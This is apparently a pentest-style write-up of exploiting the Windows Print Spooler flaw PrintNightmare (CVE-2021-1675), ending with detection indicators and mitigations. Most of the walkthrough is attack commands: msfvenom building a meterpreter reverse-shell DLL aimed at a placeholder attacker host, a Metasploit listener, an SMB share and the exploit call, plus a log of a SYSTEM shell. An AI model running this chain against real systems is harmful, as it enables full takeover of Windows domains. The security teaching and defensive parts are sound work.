Vulnerability Research: Local Privilege Escalation and RCE via Windows Print Spooler (PrintNightmare / CVE-2021-1675)

The repository contains a detailed technical report (write-up) and an analysis of the exploit concept for a critical vulnerability in the Windows Print Spooler service, which allows a low-privileged domain user to remotely execute arbitrary code with highest system privileges.

🛑 WARNING & DISCLAIMER: This material is prepared exclusively for educational purposes and for conducting legitimate security audits (pentest). Using the described techniques against systems without the prior written consent of their owners is prosecuted by law.

📌 Relevance and Research Context

Vulnerabilities of the PrintNightmare family pose a critical threat to corporate environments based on Windows Server and Active Directory. The architectural flaw in permission checks in the RPC interfaces MS-RPRN (Print System Remote Protocol) and MS-PAR (Print System Asynchronous Remote Protocol) allows legitimately requesting printer driver installation on a remote server.

The main danger is that the Print Spooler service (spoolsv.exe) is active by default on most servers, including domain controllers (Domain Controllers), and runs in the context of highest privileges NT AUTHORITY\SYSTEM. Compromising a single low-privileged account (e.g., via phishing) allows an attacker to instantly gain full control over the entire Active Directory infrastructure.

🏗 Research Architecture and Stack

• Goal: Gaining control over a remote Windows host via the printing RPC interfaces.
• Attack vector: RPC Remote Driver Load → DLL Injection → SYSTEM Privileges.
• Tools: impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, Python exploit.

📈 Practical Exploitation Walkthrough

Step 1. Reconnaissance and Credential Gathering (Reconnaissance)

To implement the remote code execution (RCE) vector, valid domain credentials for a user with minimal privileges are required (provided under the research scope).

• Basic service audit: The Print Spooler service (spoolsv.exe) on the target Windows machine is active and runs with the highest SYSTEM privileges, which opens a direct opportunity for local privilege escalation (LPE) on the host via loading an untrusted library.

Step 2. Scanning RPC Interfaces (Scanning)

Before launching the main exploit, you need to make sure the remote machine provides vulnerable printing protocols and is open to network interaction. We enumerate the RPC interfaces of the target system:

impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'

Verified terminal output:

Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]

• Stage insight: The target host successfully returned the protocol strings [MS-RPRN] and [MS-PAR]. This 100% confirms that the system supports the required remote printing interfaces and is vulnerable to the PrintNightmare vector.

Step 3. Payload and Infrastructure Preparation (Weaponization)

1. Generating a malicious DLL with a reverse shell:

We create a payload for the x64 architecture, specifying the IP address of our attacker machine for the reverse network connection:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll

2. Launching a background listener in Metasploit:

msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"

3. Deploying a local SMB share:

The target Windows server must have a legitimate way to download our DLL library over the network without using third-party utilities. We spin up an SMB server with SMBv2 protocol support from the /tmp folder:

sudo impacket-smbserver tmp /tmp -smb2support

Step 4. Exploitation and System Takeover (Exploitation)

We run the Python exploit script, passing it low-privileged domain user credentials and a UNC path to the malicious library on our local SMB share:

python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'

Successful session capture log (Metasploit):

[*] Started reverse TCP handler on <ATTACKER_IP>:4444 
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.

C:\Windows\system32> whoami
nt authority\system

• Result: After running the exploit, the remote printer service successfully loaded the malicious driver from the network folder. A Meterpreter session opened in Metasploit with the highest privilege status NT AUTHORITY\SYSTEM. The target is fully compromised.

🔍 Indicators of Compromise and Detection (Detection)

For Blue Team specialists, detecting PrintNightmare exploitation relies on auditing Windows system logs and monitoring anomalous process activity.

1. Windows Event Monitoring (Event Logs)

A successful exploit run leaves characteristic entries in the print and system logs:

• Event ID 808 (PrintService): Logs a failure or atypical loading of a printer module. Allows you to see the name of the loaded third-party DLL (e.g., from paths C:\Windows\System32\spool\drivers\x64\3\).
• Event ID 7031 (System): Unexpected forced restart of the Print Spooler service (Print Spooler), caused by unstable exploit behavior.

2. Process Behavior (EDR / Sysmon)

• Anomalous child activity: Appearance of command-line processes (cmd.exe, powershell.exe) or data-collection utilities whose parent is the system print spooler process spoolsv.exe. Under legitimate conditions, spoolsv.exe never spawns command shells.
• Network activity: Establishment of outbound network connections by the spoolsv.exe process to external SMB resources (port 445) to download driver files.

🛡 Vulnerability Mitigation Recommendations (Mitigation)

1. Full disabling of the service (Recommended): If the server does not perform printing functions (especially on Domain Controllers), the Print Spooler service should be completely disabled and set to Disabled mode.
2. Restricting remote printing: Disabling the ability to print remotely via Group Policy (GPO):
   • Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections (Disabled).
3. Installing updates: Timely deployment of official Microsoft security updates (KB) to close remote code execution vulnerabilities in the printing subsystem.

🔗 Useful Links and Resources

• CVE Database: NIST NVD - CVE-2021-1675 | NIST NVD - CVE-2021-34527
• Analysis articles: Microsoft Security Update Advisory